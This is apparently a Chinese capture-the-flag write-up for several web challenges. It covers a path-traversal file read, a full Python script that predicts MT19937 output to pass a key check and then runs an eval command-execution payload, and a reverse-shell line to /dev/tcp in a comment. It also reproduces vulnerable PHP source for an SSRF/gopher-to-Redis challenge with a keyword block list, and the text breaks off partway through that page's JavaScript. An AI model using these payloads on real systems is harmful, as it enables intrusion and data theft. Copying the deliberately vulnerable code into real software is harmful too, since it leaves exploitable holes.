Web
后台管理系统

dirsearch扫一下

访问/swagger-ui

这里是一个查询文件系统
path和file
是路径和文件
BP抓包改包

这里用.../.../就可以了初始在/app/includes文件夹下
guess
前置知识
梅森旋转算法(MT19937)
大佬的文:https://huangx607087.online/2021/07/10/Explore-MT19937/#toc-heading-5
生成代码:
python
def _int32(x):
return int(0xFFFFFFFF & x)
class MT19937:
def __init__(self, seed):
self.mt = [0] * 624
self.mt[0] = seed
self.mti = 0
for i in range(1, 624):
self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)
def extract_number(self):
if self.mti == 0:
self.twist()
y = self.mt[self.mti]
y = y ^ y >> 11
y = y ^ y << 7 & 2636928640
y = y ^ y << 15 & 4022730752
y = y ^ y >> 18
self.mti = (self.mti + 1) % 624
return _int32(y)
def twist(self):
for i in range(0, 624):
y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))
self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]
if y % 2 != 0:
self.mt[i] = self.mt[i] ^ 0x9908b0df
生成逻辑:
- 初始密码
根据种子生成MT数组中的1-624个数据(每个取0-31位) - Twist(当机器把624个数据都展示了一遍后,不能直接从头再展示(那样就循环了),必须做一次Twist)
循环取第i的31位和第i的0-30位拼接,算出拼接后且右移的数,如果拼出来的数是奇数,拼接后且右移的数据就和一个"魔法常数"(0x9908b0df)异或,如果拼出来的数是偶数,则没有此过程,最后i位置的数据被赋值为 i+397 位置的数据与拼接后且右移且经过if处理的数据异或,得到位置 i 的新数据 - Tempering(纯混淆的玩意)
步骤1:右移11位,和原值异或(把高位信息混入低位)
步骤2:左移7位,和掩码0x9d2c5680(低7位都是0)异或(把低位信息混入中位)
步骤3:左移15位,和掩码0xefc60000(低15位都是0)异或(把低位信息混入高位)
步骤4:右移18位,和原值异或(最后整体搅拌)
最后输出混淆后的值
- 为什么最低位被挤出去时,要触发 ^= 0x9908b0df?
如果b0 == 0:移出去的是"废物",不用补偿,xA 保持原样。
如果b0 == 1:移出去的是"重要信息",必须通过异或 0x9908b0df 把这部分信息以扭曲的方式重新注入到剩余的高位中。 - 为什么选这个数0x9908b0df?
它的位模式经过严格数学验证,确保:
周期达到梅森素数 2¹⁹⁹³⁷−1(不是 2³² 那种短周期)
状态遍历所有 2¹⁹⁹³⁷−1 种非零状态(不会提前陷入循环)
输出通过严格的随机性统计检验(均匀分布、无相关性)
逆向脚本:
python
def setstate(self,s):
if(len(s)!=624):
raise ValueError("The length of prediction must be 624!")
for i in range(624):
self.mt[i]=self.recover(s[i])
self.mti=0
def predict(self,s):
self.setstate(s)
self.twist()
return self.getstate(True)
逆向逻辑:
- Tempering逆向回去得到Twist后的结果
- 得出一轮(624个)Twist后的结果
- 就可以预测下一轮的Twist后结果
python的RCE(仅eval)
解题
python
from flask import Flask, request, jsonify, session, render_template, redirect
import random
rd = random.Random()
def generate_random_string():
return str(rd.getrandbits(32))
app = Flask(__name__)
app.secret_key = generate_random_string()
users = []
a = generate_random_string()
@app.route('/register', methods=['POST', 'GET'])
def register():
if request.method == 'GET':
return render_template('register.html')
data = request.get_json()
username = data.get('username')
password = data.get('password')
if not username or not password:
return jsonify({'error': 'Username and password are required'}), 400
if any(user['username'] == username for user in users):
return jsonify({'error': 'Username already exists'}), 400
user_id = generate_random_string()
users.append({
'user_id': user_id,
'username': username,
'password': password
})
return jsonify({
'message': 'User registered successfully',
'user_id': user_id
}), 201
@app.route('/login', methods=['POST', 'GET'])
def login():
if request.method == 'GET':
return render_template('login.html')
data = request.get_json()
username = data.get('username')
password = data.get('password')
if not username or not password:
return jsonify({'error': 'Username and password are required'}), 400
user = next((user for user in users if user['username'] == username and user['password'] == password), None)
if not user:
return jsonify({'error': 'Invalid credentials'}), 401
session['user_id'] = user['user_id']
session['username'] = user['username']
return jsonify({
'message': 'Login successful',
'user_id': user['user_id']
}), 200
@app.post('/api')
def protected_api():
data = request.get_json()
key1 = data.get('key')
if not key1:
return jsonify({'error': 'key are required'}), 400
key2 = generate_random_string()
if not str(key1) == str(key2):
return jsonify({
'message': 'Not Allowed:' + str(key2) ,
}), 403
payload = data.get('payload')
if payload:
eval(payload, {'__builtin__':{}})
return jsonify({
'message': 'Access granted',
})
@app.route('/')
def index():
if 'user_id' not in session:
return redirect('/login')
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5001)
重点代码:
python
def generate_random_string():
return str(rd.getrandbits(32))
app = Flask(__name__)
app.secret_key = generate_random_string()
users = []
a = generate_random_string()
@app.post('/api')
def protected_api():
data = request.get_json()
key1 = data.get('key')
if not key1:
return jsonify({'error': 'key are required'}), 400
key2 = generate_random_string()
if not str(key1) == str(key2):
return jsonify({
'message': 'Not Allowed:' + str(key2) ,
}), 403
payload = data.get('payload')
if payload:
eval(payload, {'__builtin__':{}})
return jsonify({
'message': 'Access granted',
})
攻击脚本:
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
MT19937 状态恢复 + Key 预测 + Eval RCE 攻击脚本
依赖:pip install randcrack requests
"""
import requests
import sys
from randcrack import RandCrack
# ==================== 配置区 ====================
TARGET = "http://172.16.17.201:50162/api" # 修改为你的靶机地址
SAMPLES_NEEDED = 624 # MT19937 状态字数量
# ===============================================
def collect_samples(n: int = SAMPLES_NEEDED) -> list:
"""发送错误 Key,从 403 响应中收集服务端泄露的随机数"""
samples = []
print(f"[*] 开始收集 {n} 个 32 位随机数样本...")
for i in range(n):
try:
resp = requests.post(
TARGET,
json={"key": "0"}, # 故意给错 key
timeout=10
)
data = resp.json()
msg = data.get("message", "")
# 解析 "Not Allowed: 12345678"
if "Not Allowed:" not in msg:
print(f"[!] 响应异常: {msg}")
continue
val = int(msg.split(":")[1].strip())
samples.append(val)
if (i + 1) % 50 == 0 or i == n - 1:
print(f" [+] 已收集 {i + 1}/{n} 个样本,当前值: {val}")
except Exception as e:
print(f"[!] 请求异常: {e}")
sys.exit(1)
return samples
def build_payload() -> str:
"""
构造 eval 绕过 payload。
限制: {'__builtin__':{}} ------ 通过类继承链查找 os._wrap_close 获取真实 builtins
"""
# 按类名查找 os._wrap_close,避免不同 Python 版本索引不同
# 执行命令: id(验证成功后可换反弹 shell)
payload = "__import__('os').system('mkdir -p static && cat /flag > /static/flag.txt')"
# payload = (
# "[c for c in ().__class__.__bases__[0].__subclasses__() "
# "if c.__name__ == '_wrap_close'][0].__init__."
# "__globals__['system']('ls')"
# )
#测试
#__globals__['system']('id')
# 如需读 flag,换成:
# ".__globals__['open']('/flag').read()"
# 如需反弹 shell:
# ".__globals__['system']('bash -c \"bash -i >& /dev/tcp/你的IP/端口 0>&1\"')"
return payload
def attack():
# 1. 收集 624 个样本
samples = collect_samples(SAMPLES_NEEDED)
# 2. 恢复 MT19937 状态
print("[*] 正在恢复 MT19937 内部状态...")
rc = RandCrack()
for val in samples:
rc.submit(val)
# 3. 预测服务端下一次生成的 key
next_key = rc.predict_getrandbits(32)
print(f"[+] 预测到下一个 Key: {next_key}")
# 4. 发送攻击请求(正确 Key + RCE Payload)
payload = build_payload()
print(f"[*] 发送攻击请求,Payload: {payload[:60]}...")
resp = requests.post(
TARGET,
json={
"key": str(next_key),
"payload": payload
},
timeout=10
)
print(f"[*] 状态码: {resp.status_code}")
print(f"[*] 响应内容: {resp.text}")
if __name__ == "__main__":
attack()
payload的解释:__import__('os').system('mkdir -p static && cat /flag > /static/flag.txt')
eval() 在 Python 中只能执行表达式(expression),不能执行语句(statement)。
python
eval("import os") # SyntaxError: invalid syntax
eval("__import__('os')") # 成功,因为 __import__() 是函数调用,属于表达式
使用 __import__('os') 来动态导入模块
代码运行在 Python 3 环境下,但写的是 builtin (Python 2 的写法)。Python 3 的 eval 遇到globals字典里面没有
__builtin__ 键时,python会自动注入真正的builtins模块。因此eval实际拥有所有内置函数(open,import,exec等),攻击者可以执行任意代码
| Python 2 | Python 3 | |
|---|---|---|
| 内置模块名(import 用的) | __builtin__ |
builtins |
| eval 查找内置函数的键 | __builtins__ |
__builtins__ |
Flask 默认会映射 /static/path:filename 提供静态文件服务
所以保存路径在/static/flag.txt

hjppx
逃课做法: (flag文件名未经过特殊处理)


正经做法:


php
<?php
error_reporting(0);
session_start();
// 初始化用户会话
if (!isset($_SESSION['user'])) {
$_SESSION['user'] = array(
'username' => 'admin',
'role' => 'System Administrator',
'login_time' => date('Y-m-d H:i:s')
);
}
if (!isset($_SESSION['stats'])) {
$_SESSION['stats'] = array(
'total_requests' => 0,
'successful_requests' => 0,
'failed_requests' => 0
);
}
if (!isset($_SESSION['history'])) {
$_SESSION['history'] = array();
}
class Handler {
private $timeout = 30;
public function fetch($url) {
if (empty($url)) {
return array('success' => false, 'error' => 'Invalid');
}
if (strlen($url) > 4500) {
return array('success' => false, 'error' => 'Too long');
}
// 处理 gopher 协议的特殊情况
if (preg_match('#^gopher://([^:]+):(\d+)/_(.*)$#i', $url, $matches)) {
$host = $matches[1];
$port = $matches[2];
$payload = $matches[3];
// URL 解码 payload
$payload = urldecode($payload);
if (preg_match("/MODULE|\.so|SLAVEOF|dbfilename/im", $payload)) {
exit(0);
}
return $this->gopherFetch($host, $port, $payload);
}
if (!preg_match('#^[a-z]+://#i', $url)) {
$url = 'http://' . $url;
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 8);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
$response = curl_exec($ch);
$error = curl_error($ch);
$info = curl_getinfo($ch);
curl_close($ch);
if ($error) {
return array('success' => false, 'error' => $error);
}
if ($response === false) {
return array('success' => false, 'error' => 'Failed');
}
$content_type = isset($info['content_type']) ? $info['content_type'] : 'text/plain';
$encoded_content = base64_encode($response);
return array(
'success' => true,
'content' => $encoded_content,
'is_binary' => true,
'type' => $content_type,
'size' => strlen($response),
'code' => $info['http_code'],
'url' => $url,
'time' => round($info['total_time'], 3)
);
}
private function gopherFetch($host, $port, $payload) {
$startTime = microtime(true);
$socket = @fsockopen($host, $port, $errno, $errstr, 5);
if (!$socket) {
return array('success' => false, 'error' => 'Socket error: ' . $errstr);
}
stream_set_timeout($socket, 2);
fwrite($socket, $payload);
fflush($socket);
$response = '';
$maxAttempts = 50;
$attempts = 0;
while ($attempts < $maxAttempts) {
$chunk = fread($socket, 4096);
if ($chunk === false || $chunk === '') {
$info = stream_get_meta_data($socket);
if ($info['timed_out']) {
break;
}
$attempts++;
usleep(20000);
continue;
}
$response .= $chunk;
$attempts = 0;
if (preg_match('/^\+[^\r\n]*\r\n$/', $response)) break;
if (preg_match('/^-[^\r\n]*\r\n$/', $response)) break;
if (preg_match('/^:[^\r\n]*\r\n$/', $response)) break;
if (preg_match('/^\$(-?\d+)\r\n/s', $response, $matches)) {
$len = intval($matches[1]);
if ($len === -1) {
if (strlen($response) >= 5) break;
} else {
$expectedLen = strlen('$' . $len . "\r\n") + $len + 2;
if (strlen($response) >= $expectedLen) break;
}
}
}
fclose($socket);
$elapsed = microtime(true) - $startTime;
if (empty($response)) {
return array('success' => false, 'error' => 'No response');
}
$encoded_content = base64_encode($response);
return array(
'success' => true,
'content' => $encoded_content,
'is_binary' => true,
'type' => 'application/octet-stream',
'size' => strlen($response),
'code' => 200,
'url' => 'gopher://' . $host . ':' . $port,
'time' => round($elapsed, 3),
'raw' => $response
);
}
public function redisSet($url, $key, $data) {
if (empty($url) || empty($key)) {
return array('success' => false, 'error' => 'Invalid params');
}
if (preg_match('#^gopher://([^:]+):(\d+)#i', $url, $matches)) {
$host = $matches[1];
$port = $matches[2];
$resp = "*3\r\n";
$resp .= "\$3\r\nSET\r\n";
$resp .= "\$" . strlen($key) . "\r\n" . $key . "\r\n";
$resp .= "\$" . strlen($data) . "\r\n" . $data . "\r\n";
$result = $this->gopherFetch($host, $port, $resp);
if ($result['success']) {
$raw_response = @base64_decode($result['content']);
if (strpos($raw_response, '+OK') !== false) {
return array(
'success' => true,
'message' => 'SET command executed successfully',
'key' => $key,
'data_size' => strlen($data),
'response' => $result['content'],
'time' => $result['time']
);
}
}
return $result;
}
return array('success' => false, 'error' => 'Invalid URL format');
}
public function preview($url) {
$result = $this->fetch($url);
if (!$result['success']) {
return $result;
}
$content = base64_decode($result['content']);
$type = $result['type'];
if (strpos($type, 'image') !== false) {
return array(
'success' => true,
'type' => 'image',
'data' => $result['content'],
'mime' => $type
);
} elseif (strpos($type, 'html') !== false || strpos($type, 'text') !== false) {
$preview = substr($content, 0, 500);
return array(
'success' => true,
'type' => 'text',
'preview' => htmlspecialchars($preview),
'length' => strlen($content)
);
} else {
return array(
'success' => true,
'type' => 'other',
'size' => strlen($content),
'mime' => $type,
'data' => $result['content']
);
}
}
}
function handle($action, $params) {
$h = new Handler();
$_SESSION['stats']['total_requests']++;
switch ($action) {
case 'preview':
$url = isset($params['url']) ? $params['url'] : '';
$result = $h->preview($url);
break;
case 'fetch':
$url = isset($params['url']) ? $params['url'] : '';
if (isset($params['key']) && isset($params['data'])) {
$key = $params['key'];
$data = base64_decode($params['data']);
$result = $h->redisSet($url, $key, $data);
} else {
$result = $h->fetch($url);
}
break;
case 'stats':
$result = array('success' => true, 'stats' => $_SESSION['stats']);
break;
case 'history':
$result = array('success' => true, 'history' => array_reverse($_SESSION['history']));
break;
case 'clear_history':
$_SESSION['history'] = array();
$result = array('success' => true, 'message' => 'History cleared');
break;
default:
$result = array('success' => false, 'error' => 'Unknown');
}
if ($result['success']) {
$_SESSION['stats']['successful_requests']++;
} else {
$_SESSION['stats']['failed_requests']++;
}
if (isset($params['url']) && !in_array($action, ['stats', 'history'])) {
array_push($_SESSION['history'], array(
'url' => $params['url'],
'time' => date('Y-m-d H:i:s'),
'status' => $result['success'] ? 'Success' : 'Failed'
));
if (count($_SESSION['history']) > 50) {
array_shift($_SESSION['history']);
}
}
return $result;
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header('Content-Type: application/json');
$action = isset($_POST['action']) ? $_POST['action'] : '';
exit(json_encode(handle($action, $_POST)));
}
if (isset($_GET['action'])) {
header('Content-Type: application/json');
$action = isset($_GET['action']) ? $_GET['action'] : '';
exit(json_encode(handle($action, $_GET)));
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Resource Fetch Management System</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, sans-serif; background: #f5f7fa; color: #333; }
.navbar { background: linear-gradient(135deg, #2c3e50 0%, #34495e 100%); color: white; padding: 0; box-shadow: 0 2px 10px rgba(0,0,0,0.1); position: sticky; top: 0; z-index: 1000; }
.navbar-content { max-width: 1400px; margin: 0 auto; display: flex; justify-content: space-between; align-items: center; padding: 15px 30px; }
.navbar-brand { font-size: 20px; font-weight: 600; display: flex; align-items: center; gap: 10px; }
.logo { width: 32px; height: 32px; background: white; border-radius: 6px; display: flex; align-items: center; justify-content: center; font-weight: bold; color: #2c3e50; }
.navbar-user { display: flex; align-items: center; gap: 15px; font-size: 14px; }
.user-badge { background: rgba(255,255,255,0.2); padding: 6px 12px; border-radius: 4px; }
.container { max-width: 1400px; margin: 30px auto; padding: 0 30px; }
.main-grid { display: grid; grid-template-columns: 250px 1fr; gap: 30px; margin-top: 30px; }
.sidebar { background: white; border-radius: 8px; padding: 20px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); height: fit-content; position: sticky; top: 90px; }
.sidebar-title { font-size: 12px; text-transform: uppercase; color: #999; font-weight: 600; margin-bottom: 15px; letter-spacing: 0.5px; }
.nav-item { padding: 12px 15px; margin-bottom: 5px; border-radius: 6px; cursor: pointer; transition: all 0.3s; display: flex; align-items: center; gap: 10px; color: #555; }
.nav-item:hover { background: #f5f7fa; color: #2c3e50; }
.nav-item.active { background: #2c3e50; color: white; }
.nav-icon { width: 18px; height: 18px; display: inline-block; }
.dashboard-cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); gap: 20px; margin-bottom: 30px; }
.card { background: white; border-radius: 8px; padding: 25px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); transition: transform 0.3s, box-shadow 0.3s; }
.card:hover { transform: translateY(-2px); box-shadow: 0 4px 12px rgba(0,0,0,0.1); }
.card-title { font-size: 13px; color: #999; text-transform: uppercase; margin-bottom: 10px; font-weight: 600; letter-spacing: 0.5px; }
.card-value { font-size: 32px; font-weight: 700; color: #2c3e50; }
.card-subtitle { font-size: 12px; color: #999; margin-top: 5px; }
.content-section { display: none; }
.content-section.active { display: block; }
.panel { background: white; border-radius: 8px; padding: 30px; box-shadow: 0 2px 8px rgba(0,0,0,0.05); margin-bottom: 20px; }
.panel-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 25px; padding-bottom: 15px; border-bottom: 2px solid #f5f7fa; }
.panel-title { font-size: 20px; font-weight: 600; color: #2c3e50; }
.form-group { margin-bottom: 20px; }
.form-label { display: block; margin-bottom: 8px; font-weight: 500; color: #555; font-size: 14px; }
.form-input { width: 100%; padding: 12px 15px; border: 1px solid #ddd; border-radius: 6px; font-size: 14px; font-family: 'Monaco', 'Courier New', monospace; transition: border-color 0.3s; }
.form-input:focus { outline: none; border-color: #2c3e50; }
.button-group { display: flex; gap: 10px; margin-top: 20px; }
.btn { padding: 12px 24px; border: none; border-radius: 6px; font-weight: 500; cursor: pointer; transition: all 0.3s; font-size: 14px; }
.btn-primary { background: #2c3e50; color: white; }
.btn-primary:hover { background: #1a252f; }
.btn-secondary { background: #95a5a6; color: white; }
.btn-secondary:hover { background: #7f8c8d; }
.btn-danger { background: #e74c3c; color: white; }
.btn-danger:hover { background: #c0392b; }
.result-panel { background: #f8f9fa; border: 1px solid #e0e0e0; border-radius: 6px; padding: 20px; margin-top: 20px; display: none; max-height: 500px; overflow-y: auto; }
.result-panel.show { display: block; }
.result-panel.success { background: #d4edda; border-color: #c3e6cb; }
.result-panel.error { background: #f8d7da; border-color: #f5c6cb; }
.result-header { font-weight: 600; margin-bottom: 10px; color: #2c3e50; }
.result-content { font-family: 'Monaco', 'Courier New', monospace; font-size: 13px; white-space: pre-wrap; word-break: break-all; line-height: 1.6; }
.table { width: 100%; border-collapse: collapse; margin-top: 15px; }
.table th { background: #f8f9fa; padding: 12px; text-align: left; font-weight: 600; font-size: 13px; color: #555; border-bottom: 2px solid #e0e0e0; }
.table td { padding: 12px; border-bottom: 1px solid #f0f0f0; font-size: 13px; }
.table tr:hover { background: #f8f9fa; }
.badge { display: inline-block; padding: 4px 8px; border-radius: 4px; font-size: 11px; font-weight: 600; }
.badge-success { background: #d4edda; color: #155724; }
.badge-danger { background: #f8d7da; color: #721c24; }
.info-grid { display: grid; grid-template-columns: repeat(2, 1fr); gap: 15px; margin-top: 15px; }
.info-item { padding: 15px; background: #f8f9fa; border-radius: 6px; }
.info-label { font-size: 12px; color: #999; margin-bottom: 5px; }
.info-value { font-size: 14px; font-weight: 500; color: #2c3e50; font-family: 'Monaco', 'Courier New', monospace; }
.empty-state { text-align: center; padding: 60px 20px; color: #999; }
.empty-state-icon { font-size: 48px; margin-bottom: 15px; opacity: 0.3; }
.protocol-badges { display: flex; gap: 8px; margin-top: 15px; flex-wrap: wrap; }
.protocol-badge { padding: 8px 12px; background: #e8f4f8; color: #2c3e50; border-radius: 4px; font-size: 12px; font-weight: 500; }
.tabs { display: flex; gap: 5px; margin-bottom: 20px; border-bottom: 2px solid #f0f0f0; }
.tab-btn { padding: 12px 20px; background: none; border: none; border-bottom: 2px solid transparent; cursor: pointer; font-weight: 500; color: #777; transition: all 0.3s; margin-bottom: -2px; }
.tab-btn:hover { color: #2c3e50; }
.tab-btn.active { color: #2c3e50; border-bottom-color: #2c3e50; }
</style>
</head>
<body>
<div class="navbar">
<div class="navbar-content">
<div class="navbar-brand">
<div class="logo">RF</div>
<span>Resource Fetch Management</span>
</div>
<div class="navbar-user">
<span><?php echo htmlspecialchars($_SESSION['user']['username']); ?></span>
<div class="user-badge"><?php echo htmlspecialchars($_SESSION['user']['role']); ?></div>
</div>
</div>
</div>
<div class="container">
<div class="dashboard-cards">
<div class="card">
<div class="card-title">Total Requests</div>
<div class="card-value" id="totalRequests"><?php echo $_SESSION['stats']['total_requests']; ?></div>
<div class="card-subtitle">All time</div>
</div>
<div class="card">
<div class="card-title">Successful</div>
<div class="card-value" id="successRequests" style="color: #27ae60;"><?php echo $_SESSION['stats']['successful_requests']; ?></div>
<div class="card-subtitle">Completed successfully</div>
</div>
<div class="card">
<div class="card-title">Failed</div>
<div class="card-value" id="failedRequests" style="color: #e74c3c;"><?php echo $_SESSION['stats']['failed_requests']; ?></div>
<div class="card-subtitle">Request errors</div>
</div>
<div class="card">
<div class="card-title">Success Rate</div>
<div class="card-value" id="successRate">
<?php
$total = $_SESSION['stats']['total_requests'];
$rate = $total > 0 ? round(($_SESSION['stats']['successful_requests'] / $total) * 100) : 0;
echo $rate . '%';
?>
</div>
<div class="card-subtitle">Performance metric</div>
</div>
</div>
<div class="main-grid">
<div class="sidebar">
<div class="sidebar-title">Navigation</div>
<div class="nav-item active" data-section="fetch">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path d="M8 4a4 4 0 100 8 4 4 0 000-8zM2 8a6 6 0 1110.89 3.476l4.817 4.817a1 1 0 01-1.414 1.414l-4.816-4.816A6 6 0 012 8z"/></svg>
Fetch Resource
</div>
<div class="nav-item" data-section="advanced">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path d="M5 3a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2V5a2 2 0 00-2-2H5zM5 11a2 2 0 00-2 2v2a2 2 0 002 2h2a2 2 0 002-2v-2a2 2 0 00-2-2H5zM11 5a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2V5zM11 13a2 2 0 012-2h2a2 2 0 012 2v2a2 2 0 01-2 2h-2a2 2 0 01-2-2v-2z"/></svg>
Advanced Tools
</div>
<div class="nav-item" data-section="history">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M10 18a8 8 0 100-16 8 8 0 000 16zm1-12a1 1 0 10-2 0v4a1 1 0 00.293.707l2.828 2.829a1 1 0 101.415-1.415L11 9.586V6z"/></svg>
Request History
</div>
<div class="nav-item" data-section="settings">
<svg class="nav-icon" fill="currentColor" viewBox="0 0 20 20"><path fill-rule="evenodd" d="M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z"/></svg>
System Info
</div>
</div>
<div class="main-content">
<div class="content-section active" id="fetch-section">
<div class="panel">
<div class="panel-header"><div class="panel-title">Resource Fetcher</div></div>
<div class="tabs">
<button class="tab-btn active" data-tab="quick">Quick Fetch</button>
<button class="tab-btn" data-tab="preview">Preview Mode</button>
</div>
<div id="quick-tab" class="tab-content" style="display: block;">
<div class="form-group">
<label class="form-label">Resource URL</label>
<input type="text" class="form-input" id="fetchUrl" placeholder="http://example.com/resource">
</div>
<div class="button-group">
<button class="btn btn-primary" onclick="doFetch()">Execute Fetch</button>
<button class="btn btn-secondary" onclick="clearResult('fetch')">Clear</button>
</div>
<div id="fetchResult" class="result-panel"></div>
</div>
<div id="preview-tab" class="tab-content" style="display: none;">
<div class="form-group">
<label class="form-label">Resource URL</label>
<input type="text" class="form-input" id="previewUrl" placeholder="http://example.com/image.png">
</div>
<div class="button-group">
<button class="btn btn-primary" onclick="doPreview()">Preview Resource</button>
<button class="btn btn-secondary" onclick="clearResult('preview')">Clear</button>
</div>
<div id="previewResult" class="result-panel"></div>
</div>
</div>
</div>
<div class="content-section" id="advanced-section">
<div class="panel">
<div class="panel-header"><div class="panel-title">Advanced Protocol Tools</div></div>
<div class="form-group">
<label class="form-label">Target URL</label>
<input type="text" class="form-input" id="advancedUrl" placeholder="url">
</div>
<div class="info-grid">
<div class="form-group">
<label class="form-label">Data Key</label>
<input type="text" class="form-input" id="advancedKey" placeholder="key">
</div>
<div class="form-group">
<label class="form-label">Value (Base64)</label>
<input type="text" class="form-input" id="advancedData" placeholder="dGVzdF92YWx1ZQ==">
</div>
</div>
<div class="button-group">
<button class="btn btn-primary" onclick="doAdvanced()">Execute</button>
<button class="btn btn-secondary" onclick="clearResult('advanced')">Clear</button>
</div>
<div id="advancedResult" class="result-panel"></div>
</div>
</div>
<div class="content-section" id="history-section">
<div class="panel">
<div class="panel-header">
<div class="panel-title">Request History</div>
<button class="btn btn-danger" onclick="clearHistory()">Clear History</button>
</div>
<div id="historyContent">
<?php if (count($_SESSION['history']) > 0): ?>
<table class="table">
<thead><tr><th>Time</th><th>URL</th><th>Status</th></tr></thead>
<tbody id="historyTable">
<?php foreach(array_reverse($_SESSION['history']) as $item): ?>
<tr>
<td><?php echo $item['time']; ?></td>
<td style="font-family: monospace; font-size: 12px;"><?php echo htmlspecialchars(substr($item['url'], 0, 80)); ?></td>
<td>
<span class="badge badge-<?php echo $item['status'] === 'Success' ? 'success' : 'danger'; ?>">
<?php echo $item['status']; ?>
</span>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<?php else: ?>
<div class="empty-state">
<div class="empty-state-icon">📋</div>
<div>No requests recorded yet</div>
</div>
<?php endif; ?>
</div>
</div>
</div>
<div class="content-section" id="settings-section">
<div class="panel">
<div class="panel-header"><div class="panel-title">System Information</div></div>
<div class="info-grid">
<div class="info-item"><div class="info-label">System Version</div><div class="info-value">2.0.1</div></div>
<div class="info-item"><div class="info-label">PHP Version</div><div class="info-value"><?php echo phpversion(); ?></div></div>
<div class="info-item"><div class="info-label">cURL Support</div><div class="info-value"><?php echo function_exists('curl_init') ? 'Enabled' : 'Disabled'; ?></div></div>
<div class="info-item"><div class="info-label">Session ID</div><div class="info-value" style="font-size: 11px;"><?php echo session_id(); ?></div></div>
<div class="info-item"><div class="info-label">Login Time</div><div class="info-value" style="font-size: 12px;"><?php echo $_SESSION['user']['login_time']; ?></div></div>
<div class="info-item"><div class="info-label">Server Time</div><div class="info-value" style="font-size: 12px;"><?php echo date('Y-m-d H:i:s'); ?></div></div>
</div>
</div>
<div class="panel" style="margin-top: 20px;">
<div class="panel-header"><div class="panel-title">Supported Protocols</div></div>
<div class="protocol-badges">
<div class="protocol-badge">HTTP</div><div class="protocol-badge">HTTPS</div><div class="protocol-badge">FTP</div><div class="protocol-badge">GOPHER</div>
</div>
<p style="margin-top: 20px; color: #777; font-size: 14px; line-height: 1.6;">
The system supports multiple protocols for resource fetching. Gopher protocol support is provided for legacy system compatibility.
</p>
</div>
</div>
</div>
</div>
</div>
<script>
// Navigation
document.querySelectorAll('.nav-item').forEach(item => {
item.addEventListener('click', function() {
document.querySelectorAll('.nav-item').forEach(i => i.classList.remove('active'));
this.classList.add('active');
const section = this.dataset.section;
document.querySelectorAll('.content-section').forEach(s => s.classList.remove('active'));
document.getElementById(section + '-section').classList.add('active');
});
});
// Tabs
document.querySelectorAll('.tab-btn').forEach(btn => {
btn.addEventListener('click', function() {
const parent = this.closest('.panel');
parent.querySelectorAll('.tab-btn').forEach(b => b.classList.remove('active'));
this.classList.add('active');
const tab = this.dataset.tab;
parent.querySelectorAll('.tab-content').forEach(t => t.style.display = 'none');
parent.querySelector('#' + tab + '-tab').style.display = 'block';
});
});
function updateStats() {
fetch('?action=stats')
.then(res => res.json())
.then(data => {
if (data.success) {
document.getElementById('totalRequests').textContent = data.stats.total_requests;
document.getElementById('successRequests').textContent = data.stats.successful_requests;
document.getElementById('failedRequests').textContent = data.stats.failed_requests;
const total = data.stats.total_requests;
const rate = total > 0 ? Math.round((data.stats.successful_requests / total) * 100) : 0;
document.getElementById('successRate').textContent = rate + '%';
}
});
}
function doFetch() {
const url = document.getElementById('fetchUrl').value;
if (!url.trim()) { alert('Please enter a URL'); return; }
const resultDiv = document.getElementById('fetchResult');
resultDiv.innerHTML = '<div class="result-header">Processing request...</div>';
resultDiv.className = 'result-panel show';
fetch('', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'action=fetch&url=' + encodeURIComponent(url)
})
.then(res => res.json())
.then(data => {
resultDiv.className = 'result-panel show ' + (data.success ? 'success' : 'error');
if (!data.success) {
resultDiv.innerHTML = '<div class="result-header">Request Failed</div><div class="result-content">Error: ' + data.error + '</div>';
} else {
let html = '<div class="result-header">Request Successful</div>';
html += '<div class="info-grid" style="margin-bottom: 15px;">';
html += '<div class="info-item"><div class="info-label">Size</div><div class="info-value">' + data.size + ' bytes</div></div>';
html += '<div class="info-item"><div class="info-label">Type</div><div class="info-value">' + data.type + '</div></div>';
html += '<div class="info-item"><div class="info-label">HTTP Code</div><div class="info-value">' + data.code + '</div></div>';
